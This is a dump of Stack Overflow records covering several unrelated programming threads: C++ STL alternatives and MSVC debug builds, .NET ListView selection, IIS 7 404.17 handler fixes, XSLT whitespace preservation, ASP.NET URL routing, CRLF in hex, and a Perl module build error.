containers specifically tailored to your needs may be worth the time investment.</p>\n\n<p>I´m talking about <em>real</em> game development here.</p>\n" }, { "answer_id": 87605, "author": "Roger Nelson", "author_id": 14964, "author_profile": "https://Stackoverflow.com/users/14964", "pm_score": 1, "selected": false, "text": "<p>Checkout Data Structures and Algorithms with Object-Oriented Design Patterns in C++\nBy Bruno Preiss\n<a href=\"http://www.brpreiss.com/\" rel=\"nofollow noreferrer\">http://www.brpreiss.com/</a></p>\n" }, { "answer_id": 89578, "author": "puetzk", "author_id": 14312, "author_profile": "https://Stackoverflow.com/users/14312", "pm_score": 2, "selected": false, "text": "<p>MSVC uses a very heavyweight implementation of checked iterators in debug builds, which others have already discussed, so I won't repeat it (but start there)</p>\n\n<p>One other thing that might be of interest to you is that your \"debug build\" and \"release build\" probably involves changing (at least) 4 settings which are only loosely related.</p>\n\n<ol>\n<li>Generating a .pdb file (cl /Zi and link /DEBUG), which allows symbolic debugging. You may want to add /OPT:ref to the linker options; the linker drops unreferenced functions when not making a .pdb file, but with /DEBUG mode it keeps them all (since the debug symbols reference them) unless you add this expicitly.</li>\n<li>Using a debug version of the C runtime library (probably MSVCR*D.dll, but it depends on what runtime you're using). This boils down to /MT or /MTd (or something else if not using the dll runtime)</li>\n<li>Turning off the compiler optimizations (/Od)</li>\n<li>setting the preprocessor #defines DEBUG or NDEBUG</li>\n</ol>\n\n<p>These can be switched independently. The first costs nothing in runtime performance, though it adds size. The second makes a number of functions more expensive, but has a huge impact on malloc and free; the debug runtime versions are careful to \"poison\" the memory they touch with values to make uninitialized data bugs clear. I believe with the MSVCP* STL implementations it also eliminates all the allocation pooling that is usually done, so that leaks show exactly the block you'd think and not some larger chunk of memory that it's been sub-allocating; that means it makes more calls to malloc on top of them being much slower. The third; well, that one does lots of things (<a href=\"https://stackoverflow.com/questions/69250/why-does-a-cc-program-often-have-optimization-turned-off-in-debug-mode\">this question</a> has some good discussion of the subject). Unfortunately, it's needed if you want single-stepping to work smoothly. The fourth affects lots of libraries in various ways, but most notable it compiles in or eliminates assert() and friends.</p>\n\n<p>So you might consider making a build with some lesser combination of these selections. I make a lot of use of builds that use have symbols (/Zi and link /DEBUG) and asserts (/DDEBUG), but are still optimized (/O1 or /O2 or whatever flags you use) but with stack frame pointers kept for clear backtraces (/Oy-) and using the normal runtime library (/MT). This performs close to my release build and is semi-debuggable (backtraces are fine, single-stepping is a bit wacky at the source level; assembly level works fine of course). You can have however many configurations you want; just clone your release one and turn on whatever parts of the debugging seem useful.</p>\n" }, { "answer_id": 92745, "author": "Greg Rogers", "author_id": 5963, "author_profile": "https://Stackoverflow.com/users/5963", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://qt-project.org/\" rel=\"nofollow noreferrer\">Qt</a> has reimplemented most c++ standard library stuff with different interfaces. It looks pretty good, but it can be expensive for the commercially licensed version.</p>\n\n<p>Edit: Qt has since been released under <a href=\"http://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License\" rel=\"nofollow noreferrer\">LGPL</a>, which usually makes it possible to use it in commercial product without bying the commercial version (which also still exists).</p>\n" }, { "answer_id": 4697611, "author": "J. Lurshen", "author_id": 576431, "author_profile": "https://Stackoverflow.com/users/576431", "pm_score": 2, "selected": false, "text": "<p>Sorry, I can't leave a comment, so here's an answer: EASTL is now available at github: <a href=\"https://github.com/paulhodge/EASTL\" rel=\"nofollow\">https://github.com/paulhodge/EASTL</a></p>\n" }, { "answer_id": 57325239, "author": "schoetbi", "author_id": 108238, "author_profile": "https://Stackoverflow.com/users/108238", "pm_score": 0, "selected": false, "text": "<p>There is also the ETL <a href=\"https://www.etlcpp.com/\" rel=\"nofollow noreferrer\">https://www.etlcpp.com/</a>. This library aims especially for time critical (deterministic) applications</p>\n\n<p>From the webpage:</p>\n\n<blockquote>\n <p>The ETL is not designed to completely replace the STL, but complement\n it. Its design objective covers four main areas.</p>\n \n <ul>\n <li>Create a set of containers where the size or maximum size is determined at compile time. These containers should be largely\n equivalent to those supplied in the STL, with a compatible API.</li>\n <li>Be compatible with C++ 03 but implement as many of the C++ 11 additions as possible.</li>\n <li>Have deterministic behaviour.</li>\n <li>Add other useful components that are not present in the standard library.</li>\n </ul>\n \n <p>The embedded template library has been designed for lower resource\n embedded applications. It defines a set of containers, algorithms and\n utilities, some of which emulate parts of the STL. There is no dynamic\n memory allocation. The library makes no use of the heap. All of the\n containers (apart from intrusive types) have a fixed capacity allowing\n all memory allocation to be determined at compile time. The library is\n intended for any compiler that supports C++03.</p>\n</blockquote>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87101", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12597/" ]
What is a good way to select all or select no items in a listview without using: ``` foreach (ListViewItem item in listView1.Items) { item.Selected = true; } ``` or ``` foreach (ListViewItem item in listView1.Items) { item.Selected = false; } ``` I know the underlying Win32 listview common control supports [LVM\_SETITEMSTATE message](http://msdn.microsoft.com/en-us/library/bb761196(VS.85).aspx) which you can use to set the selected state, and by passing -1 as the index it will apply to all items. I'd rather not be PInvoking messages to the control that happens to be behind the .NET Listview control (I don't want to be a bad developer and rely on undocumented behavior - for when they change it to a fully managed ListView class) Bump ---- [Pseudo Masochist](https://stackoverflow.com/questions/87101/how-to-selectall-selectnone-in-net-2-0-listview/87209#87209) has the **SelectNone** case: ``` ListView1.SelectedItems.Clear(); ``` Now just need the **SelectAll** code
EASTL is a possibility, but still not perfect. Paul Pedriana of Electronic Arts did an investigation of various STL implementations with respect to performance in game applications the summary of which is found here: <http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html> Some of these adjustments to are being reviewed for inclusion in the C++ standard. And note, even EASTL doesn't optimize for the non-optimized case. I had an excel file w/ some timing a while back but I think I've lost it, but for access it was something like: ``` debug release STL 100 10 EASTL 10 3 array[i] 3 1 ``` The most success I've had was rolling my own containers. You can get those down to near array[x] performance.
87,107
<p>I've setup a new .net 2.0 website on IIS 7 under Win Server 2k8 and when browsing to a page it gives me a 404.17 error, claiming that the file (default.aspx in this case) appears to be a script but is being handled by the static file handler. It SOUNDS like the module mappings for ASP.Net got messed up, but they look fine in the configurations. Does anyone have a suggestion for correcting this error?</p>
[ { "answer_id": 87412, "author": "Jonathan Rupp", "author_id": 12502, "author_profile": "https://Stackoverflow.com/users/12502", "pm_score": 6, "selected": true, "text": "<p>I had this problem on IIS6 one time when somehow the ASP.NET ISAPI stuff was broke.</p>\n\n<p>Running </p>\n\n<pre><code>%windir%\\Microsoft.NET\\Framework\\v2.0.50727\\aspnet_regiis.exe -i \n</code></pre>\n\n<p>to recreate the settings took care of it.</p>\n" }, { "answer_id": 2473661, "author": "Zim", "author_id": 296958, "author_profile": "https://Stackoverflow.com/users/296958", "pm_score": 4, "selected": false, "text": "<p>This solution worked for me... (I've had aspnet_regiis.exe -i do some damage)</p>\n\n<p><a href=\"http://forums.iis.net/t/1157725.aspx\" rel=\"noreferrer\">http://forums.iis.net/t/1157725.aspx</a></p>\n\n<pre>\n1. Locate your App Pool and Right Click\n2. Select Basic Settings\n3. Select your current .Net Framework Version\n4.Restart the App Pool </pre>\n" }, { "answer_id": 3454307, "author": "palswim", "author_id": 393280, "author_profile": "https://Stackoverflow.com/users/393280", "pm_score": 1, "selected": false, "text": "<p>So far, none of these solutions have worked for me.</p>\n\n<p>I have found a few other possible solutions (which did not work for me):</p>\n\n<ul>\n<li><a href=\"http://first-reboot.blogspot.com/2009/12/error-40417-opening-asmx-page.html\" rel=\"nofollow noreferrer\">http://first-reboot.blogspot.com/2009/12/error-40417-opening-asmx-page.html</a></li>\n<li><a href=\"http://forums.asp.net/p/1432329/3219236.aspx\" rel=\"nofollow noreferrer\">http://forums.asp.net/p/1432329/3219236.aspx</a></li>\n</ul>\n" }, { "answer_id": 3461991, "author": "palswim", "author_id": 393280, "author_profile": "https://Stackoverflow.com/users/393280", "pm_score": 2, "selected": false, "text": "<p>For me, my problem came because of a setting in my project's web.config file (and also the solution, once I understood the problem).</p>\n\n<p>In my web.config file, we had these two lines in the <em>system.webServer > handlers</em> area:</p>\n\n<pre><code>&lt;remove name=\"WebServiceHandlerFactory-ISAPI-2.0\" /&gt;\n&lt;add name=\"ScriptHandlerFactory\" verb=\"*\" path=\"*.asmx\" preCondition=\"integratedMode\" type=\"System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35\" /&gt;\n</code></pre>\n\n<p>Notice the alternative handler has the attribute 'preCondition=\"integratedMode\"'. So, I had to change my AppPool to use <strong>Integrated</strong> instead of <strong>Classic</strong> for my <strong>pipeline mode</strong> setting (which is the opposite of what the solutions above told me to do).</p>\n" }, { "answer_id": 3649465, "author": "Nilay", "author_id": 440397, "author_profile": "https://Stackoverflow.com/users/440397", "pm_score": 1, "selected": false, "text": "<p>Only one way to solve this problem...</p>\n\n<p>First Installed Windows7\nThen Install IIS 7 with all features</p>\n\n<p>And then installed Visual Studio 2008 / 2010</p>\n\n<p>I work on visual studio 2008 and 2010 but I never seen this error before.</p>\n\n<p>I can also try on my friend's PC. And also I solve this error.</p>\n" }, { "answer_id": 6305521, "author": "tvbusy", "author_id": 165428, "author_profile": "https://Stackoverflow.com/users/165428", "pm_score": 0, "selected": false, "text": "<p>Non of the above worked for me.\nOur server is 64 bit so setting the Application to allow 32 bit applications worked for us:</p>\n\n<ul>\n<li>Go to Web Server\\Application Pools</li>\n<li>Right click the application pool used by your website.</li>\n<li>Click on Advanced Settings...</li>\n<li>Set \"Enable 32-Bit Applications\" to True.</li>\n</ul>\n\n<p>I think this was because the web application was compiled for 32 bit only.</p>\n" }, { "answer_id": 6470971, "author": "relegated", "author_id": 814428, "author_profile": "https://Stackoverflow.com/users/814428", "pm_score": 2, "selected": false, "text": "<p>For me the solution was to click \"revert from inherited\" from the handler mappings section under the virtual application.</p>\n" }, { "answer_id": 6765062, "author": "Brad", "author_id": 482608, "author_profile": "https://Stackoverflow.com/users/482608", "pm_score": 2, "selected": false, "text": "<p>Always try \"Revert to Parent\" in Handler Mappings first.</p>\n\n<p>I was getting 404.17 when trying to run ASP.NET 4.0 in IIS 7.5. I tried all of the above and eventually got the correct Handler Mappings manually set up and the error went away.</p>\n\n<p>Then, on yet another website with the same error, I tried \"Revert to Parent\" in Handler Mappings and it added 6 *.aspx mappings and everything worked perfectly. </p>\n\n<p>Obviously, you'd have to have the parent configured properly (from the install or otherwise), but this is definitely the first step everyone should take since it is so easy.</p>\n" }, { "answer_id": 6832760, "author": "lior hakim", "author_id": 439612, "author_profile": "https://Stackoverflow.com/users/439612", "pm_score": 0, "selected": false, "text": "<pre><code>%windir%\\Microsoft.NET\\Framework64\\v2.0.50727\\aspnet_regiis.exe -i\n</code></pre>\n\n<p>worked for me after getting\n\"An attempt was made to load a program with an incorrect format ...\"\nwith the 32 framework</p>\n\n<p>maybe ill save u one more sec googling</p>\n" }, { "answer_id": 10809383, "author": "genuinebasil", "author_id": 1105194, "author_profile": "https://Stackoverflow.com/users/1105194", "pm_score": 1, "selected": false, "text": "<p>For me this got resolved by setting 32 bit application to true.</p>\n" }, { "answer_id": 11736687, "author": "gapo", "author_id": 329814, "author_profile": "https://Stackoverflow.com/users/329814", "pm_score": 0, "selected": false, "text": "<p>For me, <a href=\"http://knowledgebaseworld.blogspot.ro/2010/04/http-error-40417-not-found-with-iis7.html\" rel=\"nofollow\" title=\"http://knowledgebaseworld.blogspot.ro/2010/04/http-error-40417-not-found-with-iis7.html\">this</a> worked. Installs machine configuration sections, handlers, assemblies, modules, protocols and lots of other thing to work things properly.</p>\n" }, { "answer_id": 13832308, "author": "ESiddiqui", "author_id": 1896552, "author_profile": "https://Stackoverflow.com/users/1896552", "pm_score": 3, "selected": false, "text": "<p>For me it worked by doing the following </p>\n\n<p>Install ASP.NET</p>\n\n<pre><code>cd %windir%\\Microsoft.NET\\Framework64/v4.0.30319\naspnet_regiis.exe -i\n</code></pre>\n\n<ul>\n<li>Next Go to IIS Manager and click on the server (root) node.</li>\n<li>In features view, IIS section, open \"ISAPI &amp; CGI Restrictions\"</li>\n<li>Right-click the ASP.NET 4 restriction column and right-click to Allow</li>\n</ul>\n\n<p>Hope it works for you..</p>\n" }, { "answer_id": 26487363, "author": "Andy Jones", "author_id": 3074776, "author_profile": "https://Stackoverflow.com/users/3074776", "pm_score": 0, "selected": false, "text": "<p>For me it was HTTP Activation was not checked in the server features.</p>\n" }, { "answer_id": 31297803, "author": "Chris", "author_id": 1308967, "author_profile": "https://Stackoverflow.com/users/1308967", "pm_score": 0, "selected": false, "text": "<p>We needed to install ASP.NET 3.5 and 4.5, ISAPI Extensions, ISAPI Filters and Server Side Includes, in the Windows Features menu under IIS Development Features.</p>\n\n<p>Alternatively, do with the command line DISM:</p>\n\n<pre><code>Dism /online /enable-feature /featurename:NetFx3 /All /Source:WindowsInstallers\\Win8\\sxs /LimitAccess\nDism /online /enable-feature /featurename:NetFx4 /All /Source:WindowsInstallers\\Win8\\sxs /LimitAccess\nDism /online /enable-feature /featurename:IIS-ISAPIExtensions /All /Source:WindowsInstallers\\Win8\\sxs /LimitAccess\nDism /online /enable-feature /featurename:IIS-ISAPIFilter /All /Source:WindowsInstallers\\Win8\\sxs /LimitAccess\nDism /online /enable-feature /featurename:IIS-ServerSideIncludes /All /Source:WindowsInstallers\\Win8\\sxs /LimitAccess\n</code></pre>\n" }, { "answer_id": 41195810, "author": "Naveed Khan", "author_id": 7309383, "author_profile": "https://Stackoverflow.com/users/7309383", "pm_score": 0, "selected": false, "text": "<p>http activation under WCF Services in turn on / off windows features resolved the issue.</p>\n" }, { "answer_id": 46648352, "author": "Leonardo Allievi", "author_id": 1786873, "author_profile": "https://Stackoverflow.com/users/1786873", "pm_score": 0, "selected": false, "text": "<p>In my case, none of the above answers resolved the issue, and the reason was that <strong>the CGI module wasn't installed</strong>.</p>\n\n<p>To resolve this I followed these instructions.</p>\n\n<p><a href=\"https://learn.microsoft.com/en-us/iis/configuration/system.webserver/cgi\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/iis/configuration/system.webserver/cgi</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87107", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16729/" ]
I've setup a new .net 2.0 website on IIS 7 under Win Server 2k8 and when browsing to a page it gives me a 404.17 error, claiming that the file (default.aspx in this case) appears to be a script but is being handled by the static file handler. It SOUNDS like the module mappings for ASP.Net got messed up, but they look fine in the configurations. Does anyone have a suggestion for correcting this error?
I had this problem on IIS6 one time when somehow the ASP.NET ISAPI stuff was broke. Running ``` %windir%\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -i ``` to recreate the settings took care of it.
87,177
<p>I had data in XML that had line feeds, spaces, and tabs that I wanted to preserve in the output HTML (so I couldn't use &lt;p&gt;) but I also wanted the lines to wrap when the side of the screen was reached (so I couldn't use &lt;pre&gt;).</p>
[ { "answer_id": 87194, "author": "James A. N. Stauffer", "author_id": 6770, "author_profile": "https://Stackoverflow.com/users/6770", "pm_score": 0, "selected": false, "text": "<p>I and a co-worker (Patricia Eromosele) came up with the following solution: (Is there a better solution?)</p>\n\n<pre> &lt;p&gt;<br /> &lt;xsl:call-template name=\"prewrap\"&gt;<br /> &lt;xsl:with-param name=\"text\" select=\"text\"/&gt;<br /> &lt;/xsl:call-template&gt;<br /> &lt;/p&gt;<br /><br /> <br /> <br /> &lt;xsl:template name=\"prewrap\"&gt;<br /> &lt;xsl:param name=\"text\" select=\".\"/&gt;<br /> &lt;xsl:variable name=\"spaceIndex\" select=\"string-length(substring-before($text, ' '))\"/&gt;<br /> &lt;xsl:variable name=\"tabIndex\" select=\"string-length(substring-before($text, '&amp;#x09;'))\"/&gt;<br /> &lt;xsl:variable name=\"lineFeedIndex\" select=\"string-length(substring-before($text, '&amp;#xA;'))\"/&gt;<br /> &lt;xsl:choose&gt;<br /> &lt;xsl:when test=\"$spaceIndex = 0 and $tabIndex = 0 and $lineFeedIndex = 0\"&gt;&lt;!-- no special characters left --&gt;<br /> &lt;xsl:value-of select=\"$text\"/&gt;<br /> &lt;/xsl:when&gt;<br /> &lt;xsl:when test=\"$spaceIndex &gt; $tabIndex and $lineFeedIndex &gt; $tabIndex\"&gt;&lt;!-- tab --&gt;<br /> &lt;xsl:value-of select=\"substring-before($text, '&amp;#x09;')\"/&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:call-template name=\"prewrap\"&gt;<br /> &lt;xsl:with-param name=\"text\" select=\"substring-after($text,'&amp;#x09;')\"/&gt;<br /> &lt;/xsl:call-template&gt;<br /> &lt;/xsl:when&gt;<br /> &lt;xsl:when test=\"$spaceIndex &gt; $lineFeedIndex and $tabIndex &gt; $lineFeedIndex\"&gt;&lt;!-- line feed --&gt;<br /> &lt;xsl:value-of select=\"substring-before($text, '&amp;#xA;')\"/&gt;<br /> &lt;br/&gt;<br /> &lt;xsl:call-template name=\"prewrap\"&gt;<br /> &lt;xsl:with-param name=\"text\" select=\"substring-after($text,'&amp;#xA;')\"/&gt;<br /> &lt;/xsl:call-template&gt;<br /> &lt;/xsl:when&gt;<br /> &lt;xsl:when test=\"$lineFeedIndex &gt; $spaceIndex and $tabIndex &gt; $spaceIndex\"&gt;&lt;!-- two spaces --&gt;<br /> &lt;xsl:value-of select=\"substring-before($text, ' ')\"/&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:text disable-output-escaping=\"yes\"&gt;&amp;amp;nbsp;&lt;/xsl:text&gt;<br /> &lt;xsl:call-template name=\"prewrap\"&gt;<br /> &lt;xsl:with-param name=\"text\" select=\"substring-after($text,' ')\"/&gt;<br /> &lt;/xsl:call-template&gt;<br /> &lt;/xsl:when&gt;<br /> &lt;xsl:otherwise&gt;&lt;!-- should never happen --&gt;<br /> &lt;xsl:value-of select=\"$text\"/&gt;<br /> &lt;/xsl:otherwise&gt;<br /> &lt;/xsl:choose&gt;<br /> &lt;/xsl:template&gt;</pre>\n\n<p>Source: <a href=\"http://jamesjava.blogspot.com/2008/06/xsl-preserving-line-feeds-tabs-and.html\" rel=\"nofollow noreferrer\">http://jamesjava.blogspot.com/2008/06/xsl-preserving-line-feeds-tabs-and.html</a></p>\n" }, { "answer_id": 87229, "author": "Alexandra Franks", "author_id": 16203, "author_profile": "https://Stackoverflow.com/users/16203", "pm_score": 0, "selected": false, "text": "<p>Really, I'd choose an editor which supports this correctly, rather than wrangling it through more XML.</p>\n" }, { "answer_id": 87318, "author": "RWendi", "author_id": 15152, "author_profile": "https://Stackoverflow.com/users/15152", "pm_score": 0, "selected": false, "text": "<p>Not sure if this relevant, but isn't there a preservespace attribute and whatnot for xml?</p>\n" }, { "answer_id": 92703, "author": "JeniT", "author_id": 6739, "author_profile": "https://Stackoverflow.com/users/6739", "pm_score": 1, "selected": false, "text": "<p>Another way of putting this is that you want to turn all pairs of spaces into two non-breaking spaces, tabs into four non-breaking spaces and all line breaks into <code>&lt;br&gt;</code> elements. In XSLT 1.0, I'd do:</p>\n\n<pre><code>&lt;xsl:template name=\"replace-spaces\"&gt;\n &lt;xsl:param name=\"text\" /&gt;\n &lt;xsl:choose&gt;\n &lt;xsl:when test=\"contains($text, ' ')\"&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-before($text, ' ')\"/&gt;\n &lt;/xsl:call-template&gt;\n &lt;xsl:text&gt;&amp;#xA0;&amp;#xA0;&lt;/xsl:text&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-before($text, ' ')\" /&gt;\n &lt;/xsl:call-template&gt;\n &lt;/xsl:when&gt;\n &lt;xsl:when test=\"contains($text, '&amp;#x9;')\"&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-before($text, '&amp;#x9;')\"/&gt;\n &lt;/xsl:call-template&gt;\n &lt;xsl:text&gt;&amp;#xA0;&amp;#xA0;&amp;#xA0;&amp;#xA0;&lt;/xsl:text&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-before($text, '&amp;#x9;')\" /&gt;\n &lt;/xsl:call-template&gt;\n &lt;/xsl:when&gt;\n &lt;xsl:when test=\"contains($text, '&amp;#xA;')\"&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-before($text, '&amp;#xA;')\" /&gt;\n &lt;/xsl:call-template&gt;\n &lt;br /&gt;\n &lt;xsl:call-template name=\"replace-spaces\"&gt;\n &lt;xsl:with-param name=\"text\" select=\"substring-after($text, '&amp;#xA;')\" /&gt;\n &lt;/xsl:call-template&gt;\n &lt;/xsl:when&gt;\n &lt;xsl:otherwise&gt;\n &lt;xsl:value-of select=\"$text\" /&gt;\n &lt;/xsl:otherwise&gt;\n &lt;/xsl:choose&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p>Not being able to use tail recursion is a bit of a pain, but it shouldn't be a real problem unless the text is <em>very</em> long.</p>\n\n<p>An XSLT 2.0 solution would use <code>&lt;xsl:analyze-string&gt;</code>.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87177", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6770/" ]
I had data in XML that had line feeds, spaces, and tabs that I wanted to preserve in the output HTML (so I couldn't use <p>) but I also wanted the lines to wrap when the side of the screen was reached (so I couldn't use <pre>).
Another way of putting this is that you want to turn all pairs of spaces into two non-breaking spaces, tabs into four non-breaking spaces and all line breaks into `<br>` elements. In XSLT 1.0, I'd do: ``` <xsl:template name="replace-spaces"> <xsl:param name="text" /> <xsl:choose> <xsl:when test="contains($text, ' ')"> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-before($text, ' ')"/> </xsl:call-template> <xsl:text>&#xA0;&#xA0;</xsl:text> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-before($text, ' ')" /> </xsl:call-template> </xsl:when> <xsl:when test="contains($text, '&#x9;')"> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-before($text, '&#x9;')"/> </xsl:call-template> <xsl:text>&#xA0;&#xA0;&#xA0;&#xA0;</xsl:text> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-before($text, '&#x9;')" /> </xsl:call-template> </xsl:when> <xsl:when test="contains($text, '&#xA;')"> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-before($text, '&#xA;')" /> </xsl:call-template> <br /> <xsl:call-template name="replace-spaces"> <xsl:with-param name="text" select="substring-after($text, '&#xA;')" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:value-of select="$text" /> </xsl:otherwise> </xsl:choose> </xsl:template> ``` Not being able to use tail recursion is a bit of a pain, but it shouldn't be a real problem unless the text is *very* long. An XSLT 2.0 solution would use `<xsl:analyze-string>`.
87,221
<p><a href="https://stackoverflow.com/questions/2262/aspnet-url-rewriting">So this post</a> talked about how to actually implement url rewriting in an ASP.NET application to get "friendly urls". That works perfect and it is great for sending a user to a specific page, but does anyone know of a good solution for creating "Friendly" URLs inside your code when using one of the tools referenced?</p> <p>For example listing a link inside of an asp.net control as ~/mypage.aspx?product=12 when a rewrite rule exists would be an issue as then you are linking to content in two different ways.</p> <p>I'm familiar with using DotNetNuke and FriendlyUrl's where there is a "NavigateUrl" method that will get the friendly Url code from the re-writer but I'm not finding examples of how to do this with UrlRewriting.net or the other solutions out there. </p> <p>Ideally I'd like to be able to get something like this.</p> <pre><code>string friendlyUrl = GetFriendlyUrl("~/MyUnfriendlyPage.aspx?myid=13"); </code></pre> <p><strong>EDIT:</strong> I am looking for a generic solution, not something that I have to implement for every page in my site, but potentially something that can match against the rules in the opposite direction.</p>
[ { "answer_id": 87263, "author": "John Sheehan", "author_id": 1786, "author_profile": "https://Stackoverflow.com/users/1786", "pm_score": 0, "selected": false, "text": "<p>Create a UrlBuilder class with methods for each page like so:</p>\n\n<pre><code>public class UrlBuilder\n{\n public static string BuildProductUrl(int id)\n {\n if (true) // replace with logic to determine if URL rewriting is enabled\n {\n return string.Format(\"~/Product/{0}\", id);\n }\n else\n {\n return string.Format(\"~/product.aspx?id={0}\", id);\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 87271, "author": "David Thibault", "author_id": 5903, "author_profile": "https://Stackoverflow.com/users/5903", "pm_score": 3, "selected": true, "text": "<p>See <a href=\"http://www.codethinked.com/post/2008/08/20/Exploring-SystemWebRouting.aspx\" rel=\"nofollow noreferrer\">System.Web.Routing</a></p>\n\n<p>Routing is a different from rewriting. Implementing this technique does require minor changes to your pages (namely, any code accessing querystring parameters will need to be modified), but it allows you to generate links based on the routes you define. It's used by ASP.NET MVC, but can be employed in any ASP.NET application.</p>\n\n<p>Routing is part of .Net 3.5 SP1</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87221", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13279/" ]
[So this post](https://stackoverflow.com/questions/2262/aspnet-url-rewriting) talked about how to actually implement url rewriting in an ASP.NET application to get "friendly urls". That works perfect and it is great for sending a user to a specific page, but does anyone know of a good solution for creating "Friendly" URLs inside your code when using one of the tools referenced? For example listing a link inside of an asp.net control as ~/mypage.aspx?product=12 when a rewrite rule exists would be an issue as then you are linking to content in two different ways. I'm familiar with using DotNetNuke and FriendlyUrl's where there is a "NavigateUrl" method that will get the friendly Url code from the re-writer but I'm not finding examples of how to do this with UrlRewriting.net or the other solutions out there. Ideally I'd like to be able to get something like this. ``` string friendlyUrl = GetFriendlyUrl("~/MyUnfriendlyPage.aspx?myid=13"); ``` **EDIT:** I am looking for a generic solution, not something that I have to implement for every page in my site, but potentially something that can match against the rules in the opposite direction.
See [System.Web.Routing](http://www.codethinked.com/post/2008/08/20/Exploring-SystemWebRouting.aspx) Routing is a different from rewriting. Implementing this technique does require minor changes to your pages (namely, any code accessing querystring parameters will need to be modified), but it allows you to generate links based on the routes you define. It's used by ASP.NET MVC, but can be employed in any ASP.NET application. Routing is part of .Net 3.5 SP1
87,222
<p>How do i represent CRLF using Hex in C#?</p>
[ { "answer_id": 87227, "author": "Jonathan Rupp", "author_id": 12502, "author_profile": "https://Stackoverflow.com/users/12502", "pm_score": 2, "selected": false, "text": "<p>Not sure why, but it's 0x0d, 0x0a, aka \"\\r\\n\".</p>\n" }, { "answer_id": 87312, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 7, "selected": true, "text": "<p>Since no one has actually given the answer requested, here it is:</p>\n\n<pre><code> \"\\x0d\\x0a\"\n</code></pre>\n" }, { "answer_id": 27848240, "author": "Anonymous", "author_id": 4434369, "author_profile": "https://Stackoverflow.com/users/4434369", "pm_score": 2, "selected": false, "text": "<p>End-of-Line characters. </p>\n\n<p>For DOS/Windows it's </p>\n\n<pre><code>x0d x0a (\\r\\n) \n</code></pre>\n\n<p>and for *NIX it's </p>\n\n<pre><code>x0a (\\n)\n</code></pre>\n\n<ul>\n<li>dos2unix - Convert <code>x0d x0a</code> to <code>x0a</code> to make it *NIX compatible.</li>\n<li>unix2dos - Convert <code>x0a</code> to <code>x0d x0a</code> to make it DOS/Win compatible.</li>\n</ul>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87222", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
How do i represent CRLF using Hex in C#?
Since no one has actually given the answer requested, here it is: ``` "\x0d\x0a" ```
87,224
<p>It is obviosly some Perl extensions. Perl version is 5.8.8.</p> <p>I found Error.pm, but now I'm looking for Core.pm. </p> <p>While we're at it: how do you guys search for those modules. I tried Google, but that didn't help much. Thanks.</p> <hr> <p>And finally, after I built everything, running: </p> <pre><code>./Build install </code></pre> <p>gives me:</p> <pre><code>Running make install-lib /bin/ginstall -c -d /usr/lib/perl5/site_perl/5.8.8/i486-linux-thread-multi/Alien/SVN --prefix=/usr /bin/ginstall: unrecognized option `--prefix=/usr' Try `/bin/ginstall --help' for more information. make: *** [install-fsmod-lib] Error 1 installing libs failed at inc/My/SVN/Builder.pm line 165. </code></pre> <p>Looks like Slackware's 'ginstall' really does not have that option. I think I'm going to Google a little bit now, to see how to get around this.</p>
